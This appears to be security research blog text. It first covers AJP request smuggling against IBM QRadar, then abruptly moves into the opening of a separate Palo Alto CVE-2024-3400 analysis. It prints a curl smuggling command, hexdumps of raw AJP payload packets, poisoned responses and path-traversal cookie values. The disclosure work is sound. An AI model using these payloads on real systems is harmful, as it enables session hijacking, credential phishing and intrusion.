Welcome to April 2024.

A depressing year so far - we've seen critical vulnerabilities across a wide range of enterprise software stacks.

In addition, we've seen surreptitious and patient threat actors light our industry on fire with slowly introduced backdoors in the XZ library.

Today, in this iteration of 'watchTowr Labs takes aim at yet another piece of software' we wonder why the industry panics about backdoors in libraries that have taken 2 years to be unsuccessfully introduced - while security vendors like IBM can't even update libraries used in their flagship security products that subsequently allow for trivial exploitation.

Over the last few weeks, we've watched the furor and speculation run rife on Twitter and LinkedIn;

• Who wrote the XZ backdoor?
• Which APT group was it?
• Which country do we blame?
• Could it happen again?

We sat back and watched the industry discuss how they would solve future iterations of the XZ backdoor - presumably in some sort of parallel universe - because in the one we currently exist in, IBM - a key security vendor - could not even update a dependency in it's flagship security software to keep it secure.

Seriously, what are we doing?

Anyway, we're back at it - sit back, enjoy the mayhem - and join us on this journey into IBM's QRadar.

What is QRadar?

For the uninitiaited on big blue, or those that have just been spared numerous traumatic experiences having to ever configure a SIEM - as mentioned above, QRadar is IBM's crown-jewel, flagship security product.

For those unfamiliar with defensive security products, QRadar is the mastermind application that can sit on-premise or in the cloud via IBM's SaaS offering. Quite simply, it's IBM's Security Information and Event Management (SIEM) product - and is the heart of many enterprise's security software stack.

A (SIEM) solution is a centralised system for monitoring logs ingested from all sorts of endpoints (for example: employee laptops, servers, IoT devices, or cloud environments). These logs are analysed using a defined ruleset to detect potential security incidents.

Has a web shell been deployed to an application server? Has a Powershell process been spawned on the marketing teams' laptops? Is your Domain Controller communicating with Pastebin? SIEMs ingest and analyse alerts, data, and telemetry - and provide feedback alerts to a Blue Team operator to inform them of potential security events.

Should a threat actor manage to compromise a SIEM in an enterprise environment, they'd be able to "look down all the CCTV cameras in the warehouse," so to speak.

With the ability to manipulate records of potential security incidents or to view logs (which all too often contain cleartext credentials) and session data, it is clear how this access permits an attacker to cripple security team capabilities within an organisation.

Obtaining a license for QRadar costs thousands of dollars, but fortunately for us, QRadar is available for download as an installation on-premise in the form of AWS AMI's (BYOL) and a free Community Edition Virtual machine.

Typically, QRadar is deployed within an organisations internal environment - as you'd expect for the management console for a security product - but, a brief internet search reveals that thousands of IBM's customers had "better ideas".

When first reviewing any application for security deficiencies, the first step is to enumerate the routes available. The question posed; where can we, as pre-authenticated users, touch the appliance and interact with its underlying code?

We’re not exaggerating when we state that a deployment of IBM’s QRadar is a behemoth of a solution to analyse- to give some statistics of the available routes amongst the thousands of files, we found a number of paths to explore:

• 5 .war Files
  • Containing 70+ Servlets
• 468 JSP files
• 255 PHP Files
• 6+ Reverse ProxyPass’s
• seemingly-infinite defined APIs (as we'd expect for a SIEM)

Each route takes time to meticulously review to e its purpose (and functionality, intentional or otherwise).

Our first encounter with QRadar was back in October of 2023; we spent a number of weeks diving into each route available, extracting the required parameters, and following each of their functions to look for potential security vulnerabilities.

To give some initial context on QRadar, the core application is accessed via HTTPS over port 443, which redirects to the endpoint /console . When reviewing the Apache config that handles this, we can see this is filtered through a ProxyPass rule over the ajp:// protocol to an internal service running on port 8009:

ProxyPass /console/ ajp://localhost:8009/console/

For those new to AJP (Apache JServ Protocol), it is a binary-like protocol for interacting with Java applications instead of a human-readable protocol like HTTP. It is harder for humans to read, but it has similarities, such as parameters and headers.

In the context of QRadar, users typically don’t have direct access to the AJP protocol. Instead, they access it indirectly, sending an HTTP request to /console URI. Anything after this /console endpoint is translated from an HTTP request to an AJP binary packet, which is then actioned by the Java code of the application.

FWIW, it’s considered bad security practice to allow direct access to the AJP protocol, and with good reason - you only have to look at the infamous GhostCat vulnerability that allowed Local File Read and, in some occasions, Remote Code Execution, for an example of what can go wrong when it is exposed to malicious traffic.

Below is an example viewed within WireShark that shows a single HTTP request to a /console endpoint. We can see that this results in a single AJP packet being issued. It’s important to note, for later on, the ‘one request to one packet’ ratio - every HTTP request results in exactly one set of AJP packets.

While the majority of servlets and .jsp endpoints reside within the console.war file, these can’t be accessed from a pre-authenticated perspective. As readers will imagine - this is no bueno.

Sadly, in our first encounter - we came up short. The reality of research is that this happens, but as any one that is jaded enough by computers and research will know - we kept meticulous notes, including a Software Bill of Materials (SBOM), in case we needed to come back.

It's a new dawn, it's a new day, it's a new life

Before getting into our current efforts here in 2024, let's discuss something that was brought to light back in 2022 - a then-new class of vulnerability defined as “AJP Smuggling”.

A researcher known as “RicterZ” released their insight and a PoC into an AJP smuggling vulnerability (CVE-2022-26377), which, in short, demonstrates that it is possible to smuggle an AJP packet via an HTTP request containing the header Transfer-Encoding: Chunked, Chunked, and with the request body containing the binary format of the AJP packet. This smuggled AJP request is passed directly to the AJP protocol port should a corresponding Apache ProxyPass rule have been configured.

This was deemed a vulnerability in mod_proxy_ajp, and the assigned CVE is accompanied by the following description:

Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling') vulnerability in mod_proxy_ajp of Apache HTTP Server allows an attacker to smuggle requests to the AJP server it forwards requests to. This issue affects Apache HTTP Server Apache HTTP Server 2.4 version 2.4.53 and prior versions.

The impact of this vulnerability was mostly theoretical until a real-world example came to our attention at the start of 2024. This example came in the form of CVE-2023-46747, a compromise of BigIP’s F5 product, achieved using the same AJP smuggling technique.

Here, researchers leveraged the original vulnerability, as documented by RicterZ. This allowed a request to be smuggled to the AJP protocol’s backend, exposing a new attack surface of previously-restricted functionality. This previously-restricted but now-available functionality allowed an unauthenticated attacker to add new a new administrative account to an F5 BigIP device.

Having familiarised ourselves with both the aforementioned F5 BigIP vulnerability and RicterZ’s work, we set out to reboot our QRadar instance to see if our new knowledge was relevant to its implementation of AJP in the console application.

A quick version check of the deployed httpd binary tells us we’re up against Apache 2.4.6, which is a bit newer than the supposedly vulnerable version fo Apache that contained a vulnerable version of mod_proxy_ajp.

As anyone that has ever exploited anything actually knows - version numbers are are at best false-advertising, and thus - frankly - we ignored this. Also, fortunately for us, in the context of the IBM QRadar deployment of Apache, the module proxy_ajp_module is loaded.

[ec2-user@ip-172-31-24-208 tmp]$ httpd -v
Server version: Apache/2.4.6 (Red Hat Enterprise Linux)
Server built:   Apr 21 2020 10:19:09

[ec2-user@ip-172-31-24-208 modules]$ sudo httpd -M | grep proxy_ajp_module
proxy_ajp_module (shared)

To conduct a quick litmus test to whether or not QRadar is vulnerable to CVE-2022-26377, we followed along with RicterZ’s research and tried the PoC, which comes in the form of a curl invocation, intended to retrieve the web.xml file of the ROOT war file to prove exploitability.

The curl PoC can be broken down into two parts:

• Transfer-Encoding header with the “chunked, chunked” value,
• A raw AJP packet in binary format within the request’s body, stored here in the file pay.txt.

curl -k -i https://<qradar-host>/console/ -H 'Transfer-Encoding: chunked, chunked' \\
		--data-binary @pay.txt

00000000: 0008 4854 5450 2f31 2e31 0000 012f 0000  ..HTTP/1.1.../..
00000010: 0931 3237 2e30 2e30 2e31 00ff ff00 0161  .127.0.0.1.....a
00000020: 0000 5000 0000 0a00 216a 6176 6178 2e73  ..P.....!javax.s
00000030: 6572 766c 6574 2e69 6e63 6c75 6465 2e72  ervlet.include.r
00000040: 6571 7565 7374 5f75 7269 0000 012f 000a  equest_uri.../..
00000050: 0022 6a61 7661 782e 7365 7276 6c65 742e  ."javax.servlet.
00000060: 696e 636c 7564 652e 7365 7276 6c65 745f  include.servlet_
00000070: 7061 7468 0001 532f 2f2f 2f2f 2f2f 2f2f  path..S/////////
00000080: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000090: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000a0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000b0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000c0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000d0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000e0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000000f0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000100: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000110: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000120: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000130: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000140: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000150: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000160: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000170: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000180: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
00000190: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000001a0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000001b0: 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f 2f2f  ////////////////
000001c0: 2f2f 2f2f 2f2f 2f2f 2f2f 000a 001f 6a61  //////////....ja
000001d0: 7661 782e 7365 7276 6c65 742e 696e 636c  vax.servlet.incl
000001e0: 7564 652e 7061 7468 5f69 6e66 6f00 0010  ude.path_info...
000001f0: 2f57 4542 2d49 4e46 2f77 6562 2e78 6d6c  /WEB-INF/web.xml
00000200: 00ff

After firing the PoC, we were unable to retrieve the web.xml file as expected. However, we’re quick to notice after firing it a few times in quick succession that there’s a variation between responses, with some returning a 302 status code and some a 403 .

A typical response looks something like this:

HTTP/1.1 302 302
Date: Sun, 10 Mar 2024 01:48:11 GMT
Server: QRadar
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubdomains;
Strict-Transport-Security: max-age=31536000; includeSubDomains
Set-Cookie: JSESSIONID=C7714302E58A4565A3FAA7B786325D93; Path=/; Secure; HttpOnly
Pragma: no-cache
Cache-Control: no-store, max-age=0
Location: /console/core/jsp/Main.jsp;jsessionid=C7714302E58A4565A3FAA7B786325D93
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Expires: Sun, 10 Mar 2024 01:48:11 GMT

And a differential response:

HTTP/1.1 403 403
Date: Sun, 10 Mar 2024 02:12:13 GMT
Server: QRadar
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubdomains;
Content-Length: 0
Cache-Control: max-age=1209600
Expires: Sun, 24 Mar 2024 02:12:13 GMT
X-Frame-Options: SAMEORIGIN

Using tcpdump, we can observe that our single HTTP request has indeed resulted in two AJP request packets being sent to the AJP backend. The two requests are as followed

• The legitimate AJP request triggered by our initial HTTP request, and,
• The smuggled request

Put simply - this makes a lot of sense - we’re definitely smuggling a request here.

At this point, we were much more interested in the varying in response status codes - what is going on here?

Let’s take stock of what we’re observing:

• One HTTP request results in two AJP Packets being sent to the backend
• Somehow, HTTP Responses are being returned out of sync

Our first point is enough to arrive at the conclusion that we’ve found an instance of CVE-2022-26377. The (at the time of performing our research) up-to-date version of QRadar (7.5.0 UP7) is definitely vulnerable, since a single HTTP request can smuggle an additional AJP packet.

Our journey doesn’t end here, though. It never does.

Bugs are fun, but to assess real-world impact, we need to dive into how this can be exploited by a threat actor and determine the real risk.

Godzilla Vs Golliath(?)

So, the big question - we've confirmed CVE-2022-26377 it seems and excitingly we can now split one HTTP request into 2 AJP requests. But, zzz - how is CVE-2022-26377 actually exploitable in the context of QRadar?

In the previous real-world example of CVE-2022-26377 being exploited against F5, AJP packets were being parsed by additional Java functionality, which allowed authentication to be bypassed via the smuggled AJP packet with additional values injected into it.

We spent some time diving through the console application exposed by IBM QRadar, looking for scenarios similar to the F5. However, we come up short on functionality to escalate our level of authentication via just a single injected AJP packet.

Slightly exasperated by this, our next course of action can be expressed via the following quote, taken from the developers of the original F5 BigIP vulnerability researchers:

We then leveraged our advanced pentesting skills and re-ran the curl command several times, because sometimes vulnerability research is doing the same thing multiple times and somehow getting different results

As much as we like to believe that computers are magic - we have been informed via TikTok that this is not the case, and something more mundane is happening here. We noticed the application began to ‘break’, and responses were, in fact, unsynchronized. While this sounds strange - this is a relatively common artefact around request smuggling-class vulnerabilities.

When we say ‘desynchronized’, we mean that the normal “cause-and-effect” flow of a web application, or the HTTP protocol, no longer applies.

Usually, there is a very simple flow to web requests - the user makes a request, and the server issues a corresponding response. Even if two users make requests simultaneously, the server keeps the requests separate, keeping them neatly queued up and ensuring the correct user only ever sees responses for the requests they have issued. Soemthing about the magic of TCP.

However, in the case of QRadar, since a single HTTP request results in two AJP requests, we are generating an imbalance in the number of responses created. This confuses things, and as the response queue is out of sync with the request queue, the server may erraneously respond with a response intended for an entirely different user.

This is known as a DeSync Attack, for which there is some amount of public research in the context of HTTP, but relatively little concerning AJP.

But, how can we abuse this in the context of IBM's QRadar?

Anyway, tangent time

Well, where would life be without some random vulnerabilities that we find along the way?

When making a request to the console application with a doctored HTTP request 'Host' header, we can observe that QRadar trusts this value and uses it to construct values used within the Location HTTP response header - commonly known as a Host Header Injection vulnerability. Fairly common, but for the sake of completeness - here’s a request and response to show the issue:

Request:

GET /console/watchtowr HTTP/1.1
Host: watchtowr.com

Response:

HTTP/1.1 302 302
Date: Sun, 10 Mar 2024 02:16:55 GMT
Server: QRadar
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubdomains;
Strict-Transport-Security: max-age=31536000; includeSubDomains
Set-Cookie: JSESSIONID=74779EA7C7827A53BD474F884657CDA6; Path=/; Secure; HttpOnly
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Location: <https://watchtowr.com:443/console/logon.jsp?loadback=76edfcc6-4a57-496e-a03c-ea2e8a50ffb6>
Content-Length: 0
X-Frame-Options: SAMEORIGIN

It’s a very minor vulnerability, if you could even call it that - in practice, what good is a redirect that requires modification of the Host HTTP request header in a request sent by the victim? In almost all cases imaginable, this is completely useless.

Is this one of the vanishingly uncommon instances where it is useful?

Well, well, well…

Typically, with vulnerabilities that involve poisoning of responses, we have to look for gadgets to chain them with to escalate the magnitude of an attack - tl;dr what can we do to demonstrate impact.

Can we take something harmless, and make it harmful? Perhaps we can take the ‘useless’ Host Header Injection ‘vulnerability’ discussed above, and turn it into something fruitful.

It turns out, by formatting this Host Header Injection request into an AJP forwarding packet and sending it to the QRadar instance using our AJP smuggling technique, we can turn it into a site-wide exploit - hitting any user that is lucky(!) enough to be using QRadar.

Groan..

Below is a correctly formatted AJP Forward Request packet (note the use of B’s to correctly pad the packet out to the correct size). This AJP packet emulates a HTTP request leveraging the Host Header Injection discussed above.

We will smuggle this packet in, and observe the result. Once the queues are desynchronised, the response will be served to other users of the application, and since we control the Location response header, we can cause the unsuspecting user to be redirected to a host of our choosing.

00000000: 0008 4854 5450 2f31 2e31 0000 0b2f 636f  ..HTTP/1.1.../co
00000010: 6e73 6f6c 652f 7878 0000 0931 3237 2e30  nsole/xx...127.0
00000020: 2e30 2e31 0000 026c 6f00 0007 6c6f 6361  .0.1...lo...loca
00000030: 6c78 7400 0050 0000 0300 0154 0000 2042  lxt..P.....T.. B
00000040: 4242 4242 4242 4242 4242 4242 4242 4242  BBBBBBBBBBBBBBBB
00000050: 4242 4242 4242 4242 4242 4242 4242 4200  BBBBBBBBBBBBBBB.
00000060: 000a 5741 5443 4854 4f57 5230 0000 0130  ..WATCHTOWR0...0
00000070: 00a0 0b00 0d77 6174 6368 746f 7772 2e63  .....watchtowr.c
00000080: 6f6d 0003 0062 6262 6262 0005 0162 6262  om...bbbbb...bbb
00000090: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000000a0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000000b0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000000c0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000000d0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000000e0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000000f0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
00000100: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
00000110: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
00000120: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
00000130: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
00000140: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
00000150: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
00000160: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
00000170: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
00000180: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
00000190: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000001a0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000001b0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000001c0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000001d0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000001e0: 6262 6262 6262 6262 6262 6262 6262 6262  bbbbbbbbbbbbbbbb
000001f0: 6262 6262 6262 6262 6262 6262 6265 3d00  bbbbbbbbbbbbbe=.
00000200: ff00

curl -k -i https://<qradar-host>/console/ -H 'Transfer-Encoding: chunked, chunked' \\
		--data-binary @payload.txt

Poisoned Response:

HTTP/1.1 302 302
Date: Sun, 10 Mar 2024 02:35:06 GMT
Server: QRadar
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubdomains;
Set-Cookie: JSESSIONID=E3D8AB1D2D6B3267BE9FB3BF3FFAD9C0; Path=/; HttpOnly
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Location: <http://watchtowr.com:80/console/logon.jsp?loadback=44d7c786-522d-4bc2-90be-f1eac249da3c>
Content-Length: 0
X-Frame-Options: SAMEORIGIN

What are we seeing here?

Well, after a few attempts, the server has started to serve the poisoned response to other users of the application - even authenticated users - to be redirected via the Location we control.

This is a clear case of CVE-2022-26377 in an exploitable manner; we can redirect all application users to an external host. Exploitation of this by a threat actor is only limited by their imagination; we can easily conjure up a likely attack scenario.

Picture a Blue Team operator logging in to their favourite QRadar instance after receiving a few of their favourite alerts, warning them of potential ransomware being deployed across their favourite infrastructure. Imagine them desperately looking for their favourite ‘patient zero’ and hoping to nip their favourite threat actors' campaign in the bud.

While navigating through their dashboards, however, an attacker uses this vulnerability to silently redirect them to a ‘fake’ QRadar instance, mirroring their own instance - but instead of those all-important alerts - all is quiet in this facade QRadar instance, and nothing is reported.

The poor Blue Team Operator goes for their lunch, confident there is no crisis - while in reality, their domain is compromised with malicious GPOs carrying the latest cryptolocker malware.

Before they even realise what's going on, it's too late; the damage is done.

In case you need a little more convincing, here’s a short video clip of the exploit taking place:

Proof of Concept

At watchTowr, we no longer publish Proof of Concepts. We heard the tweets, we heard the comments - we were making it too easy for defensive teams to build detection artefacts for these vulnerabilities contextualised to their environment.

So instead, we've decided to do something better - that's right! We're proud to release the first of many to come of our Python-based, dynamic detection artefact generator tools.

https://github.com/watchtowrlabs/ibm-qradar-ajp_smuggling_CVE-2022-26377_poc

DeSync Responses

So, we'vee shown a pretty scary exploitation scenario - but it turns out we can take things even further if we apply a little creativity (ha ha, who knew that watchTowr ever take things too far 😜).

At this point, the HTTP response queue is in tatters, with authenticated responses being returned to unauthenticated users - that's right, we can leak privileged information from your QRadar SIEM, the heart of your security stack, to unauthenticated users with this vulnerability.

Well, let’s take an extremely brief look into how QRadar handles sessions.

Importantly, in QRadar’s design, each user's session values need to be refreshed relatively often - every few minutes. This is a security mechanism designed to expire values quickly, in case they are inadvertently exposed. Ironically however, we can use these as a powerful exploitation primitive, since they can be returned to unauthenticated users if the response queue is, in technical terms, "rekt". Which, at this point, it is.

Here’s how a session refresh looks:

HTTP/1.1 200 200
Date: Sun, 10 Mar 2024 02:53:34 GMT
Server: QRadar
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubdomains;
Strict-Transport-Security: max-age=31536000; includeSubDomains
Set-Cookie: JSESSIONID=CE0279DC02A0715BB41358EC44A7F546; Path=/; Secure; HttpOnly
Set-Cookie: QRadarCSRF=083a2ebb-7d42-4e56-b4a9-728843f6958e; Path=/; Secure
Set-Cookie: AJAXTimeoutLimit=5; Path=/; Secure
Set-Cookie: SEC=03de6b43-8454-469a-8d40-076f6d12a13d; Path=/; Secure; HttpOnly
Set-Cookie: inactivityTimeout=30; Path=/; Secure
Set-Cookie: lastClickTime=2024-03-10T02:53Z; Path=/; Secure
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
Content-Length: 1045
Connection: close

If the above isn't sufficiently clear, the session credentials for authenticated users are returned in an HTTP response (if this is not obvious) and thus in the context of  this vulnerability, these same values would be returned to unauthenticated users.

If you follow our leading words, this would allow threat actors (or watchTowr's automation) to assume the session of the user and take control of their QRadar SIEM instance in a single request. 

Flagship security software from IBM.

Once again, exploitation is in the hands of creative threat actors; how could this be further exploited in a real-world attack?

Imagine your first day as the new Blue Team lead in a Fortune 500 organisation; you want to show off to your new employer, demonstrating all the latest threat-hunting techniques.

You’ve got your QRadar instance at hand, you’ve got agent deployment across the organisation, and you have the all-important logs to sort through and subject to your creative rulesets.

You authenticate to QRadar, and hammer away like the pro defender you are. However, a threat actor quietly DeSync’s your instance, and your session data starts to leak. They authenticate to your QRadar instance as if they were you and begin to snoop on your activities.

A quick peek into the ingested raw logs reveals cleartext Active Directory credentials submitted by service accounts across the board. Whose hunting who now?

The threat actors campaign is just beginning, and the race to compromise the organisation has started the moment you log into your QRadar. Good job on your first day.

Thanks IBM!

Tl;dr how bad is this

To sum up the impact the vulnerability has, in the context of QRadar, from an un-authenticated perspective:

• An unauthenticated attacker gains the ability to poison responses of authenticated users
• An unauthenticated attacker gains the ability to redirect users to an external domain:
  • For example, the external domain could imitate the QRadar instance in a Phishing attack to garner cleartext credentials
• An unauthenticated attacker gains the ability to cause a Denial-Of-Service in the QRadar instance and interrupt ongoing security operations
• An unauthenticated attacker gains the ability to retrieve responses of authenticated users
  • Observe ongoing security operations
  • Extract logs from endpoints and devices feeding data to the QRadar instance
  • Obtain session data from authenticated users and administrators and authenticate with this data.

Conclusion

Hopefully, this post has shown you that as an industry we still cannot even do the basics - let alone a listed, too-big-to-fail technology vendor.

While there will be a continuation of evolution of threats that compound our timelines and day-jobs, and state-sponsored actors trying to slip backdoors into OpenSSH - it doesn't mean we ignore the.. very basics.

To see such an omission from a vendor of security software, in their flagship security product - in our opinion, this is disappointing.

Usual advice applies - patch, pray that IBM now know to update dependencies, see what happens next time.

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.

It's our job to understand how emerging threats, vulnerabilities, and TTPs affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.

Timeline

Welcome to April 2024, again. We’re back, again.

Over the weekend, we were all greeted by now-familiar news—a nation-state was exploiting a “sophisticated” vulnerability for full compromise in yet another enterprise-grade SSLVPN device.

We’ve seen all the commentary around the certification process of these devices for certain .GOVs - we’re not here to comment on that, but sounds humorous.

We would comment on the current state of SSLVPN devices, but like jokes about our PII being stolen each week, the news of yet another SSLVPN RCE is getting old.

On Friday 12th April, the news of CVE-2024-3400 dropped. A vulnerability that “based on the resources required to develop and exploit a vulnerability of this nature” was likely used by a “highly capable threat actor”.

Exciting.

Here at watchTowr, our job is to tell the organisations we work with whether appliances in their attack surface are vulnerable with precision. Thus, we dived in.

If you haven’t read Volexity’s write-up yet, we’d advise reading it first for background information. A friendly shout-out to the team @ Volexity - incredible work, analysis and a true capability that we as an industry should respect. We’d love to buy the team a drink(s).

CVE-2024-3400

We start with very little, and as in most cases are armed with a minimal CVE description:

A command injection vulnerability in the GlobalProtect feature of Palo Alto Networks 
PAN-OS software for specific PAN-OS versions and distinct feature configurations may
enable an unauthenticated attacker to execute arbitrary code with root privileges on
the firewall.
Cloud NGFW, Panorama appliances, and Prisma Access are not impacted by 
this vulnerability.

What is omitted here is the pre-requisite that telemetry must be enabled to achieve command injection with this vulnerability. From Palo Alto themselves:

This issue is applicable only to PAN-OS 10.2, PAN-OS 11.0, and PAN-OS 11.1 firewalls 
configured with GlobalProtect gateway or GlobalProtect portal (or both) and device
telemetry enabled.

The mention of ‘GlobalProtect’ is pivotal here - this is Palo Alto’s SSLVPN implementation, and finally, my kneejerk reaction to turn off all telemetry on everything I own is validated! A real vuln that depends on device telemetry!

While the above was correct at the time of writing, Palo Alto have now confimed that telemetry is not required to exploit this vulnerability. Thanks to the Palo Alto employee that reached out to update us that this is an even bigger mess than first thought.

Our Approach To Analysis

As always, our journey begins with a hop, skip and jump to Amazon’s AWS Marketplace to get our hands on a shiny new box to play with.

Fun fact: partway through our investigations, Palo Alto took the step of removing the vulnerable version of their software from the AWS Marketplace - so if you’re looking to follow along with our research at home, you may find doing so quite difficult.

Accessing The File System

Anyway, once you get hold of a running VM in an EC2, it is trivial to access the device’s filesytem. No disk encryption is at play here, which means we can simply boot the appliance from a Linux root filesystem and mount partitions to our heart’s content.

The filesystem layout doesn’t pack any punches, either. There’s the usual nginx setup, with one configuration file exposing GlobalProtect URLs and proxying them to a service listening on the loopback interface via the proxypass directive, while another configuration file exposes the management UI:

location ~ global-protect/(prelogin|login|getconfig|getconfig_csc|satelliteregister|getsatellitecert|getsatelliteconfig|getsoftwarepage|logout|logout_page|gpcontent_error|get_app_info|getmsi|portal\\/portal|portal/consent).esp$ {
    include gp_rule.conf;
    proxy_pass   http://$server_addr:20177;
}

There’s a handy list of endpoints there, allowing us to poke around without even cracking open the handler binary.

With the bug class as it is - command injection - it’s always good to poke around and try our luck with some easy injections, but to no avail here. It’s time to crack open the hander for this mysterious service. What provides it?

Well, it turns out that it is handled by the gpsvc binary. This makes sense, it being the Global Protect service. We plopped this binary into the trusty IDA Pro, expecting a long and hard voyage of reversing, only to be greeted with a welcome break:

Debug symbols! Wonderful! This will make reversing a lot easier, and indeed, those symbols are super-useful.

Our first call, somewhat obviously, is to find references to the system call (and derivatives), but there’s no obvious injection point here. We’re looking at something more subtle than a straightforward command injection.

Unmarshal Reflection

Our big break occurred when we noticed some weird behavior when we fed the server a malformed session ID. For example, using the session value Cookie: SESSID=peekaboo; and taking a look at the logs, we can see a somewhat-opaque clue:

{"level":"error","task":"1393405-22","time":"2024-04-16T06:21:51.382937575-07:00","message":"failed to unmarshal session(peekaboo) map , EOF"}

An EOF? That kind-of makes sense, since there’s no session with this key. The session-store mechanism has failed to find information about the session. What happens, though, if we pass in a value containing a slash? Let’s try Cookie: SESSID=foo/bar;:

2024-04-16 06:19:34 {"level":"error","task":"1393401-22","time":"2024-04-16T06:19:34.32095066-07:00","message":"failed to load file /tmp/sslvpn/session_foo/bar,

Huh, what’s going on here? Is this some kind of directory traversal?! Let’s try our luck with our old friend .. , supplying the cookie Cookie: SESSID=/../hax;:

2024-04-16 06:24:48 {"level":"error","task":"1393411-22","time":"2024-04-16T06:24:48.738002019-07:00","message":"failed to unmarshal session(/../hax) map , EOF"}

Ooof, are we traversing the filesystem here? Maybe there’s some kind of file write possible. Time to crack open that disassembly and take a look at what’s going on. Thanks to the debug symbols this is a quick task, as we quickly find the related symbols:

.rodata:0000000000D73558                 dq offset main__ptr_SessDiskStore_Get
.rodata:0000000000D73560                 dq offset main__ptr_SessDiskStore_New
.rodata:0000000000D73568                 dq offset main__ptr_SessDiskStore_Save

Great. Let’s give main__ptr_SessDiskStore_New a gander. We can quickly see how the session ID is concatenated into a file path unsafely:

    path = s->path;
    store_8e[0].str = (uint8 *)"session_";
    store_8e[0].len = 8LL;
    store_8e[1] = session->ID;
    fmt_24 = runtime_concatstring2(0LL, *(string (*)[2])&store_8e[0].str);
    *((_QWORD *)&v71 + 1) = fmt_24.len;
    if ( *(_DWORD *)&runtime_writeBarrier.enabled )
      runtime_gcWriteBarrier();
    else
      *(_QWORD *)&v71 = fmt_24.str;
    stored.array = (string *)&path;
    stored.len = 2LL;
    stored.cap = 2LL;
    filename = path_filepath_Join(stored);

Later on in the function, we can see that the binary will - somewhat unexpectedly - create the directory tree that it attempts to read the file containing session information from.

      if ( os_IsNotExist(fmta._r2) )
      {
        store_8b = (github_com_gorilla_sessions_Store_0)net_http__ptr_Request_Context(r);
        ctxb = store_8b.tab;
        v52 = runtime_convTstring((string)s->path);
        v6 = (_1_interface_ *)runtime_newobject((runtime__type_0 *)&RTYPE__1_interface_);
        v51 = (interface__0 *)v6;
        (*v6)[0].tab = (void *)&RTYPE_string_0;
        if ( *(_DWORD *)&runtime_writeBarrier.enabled )
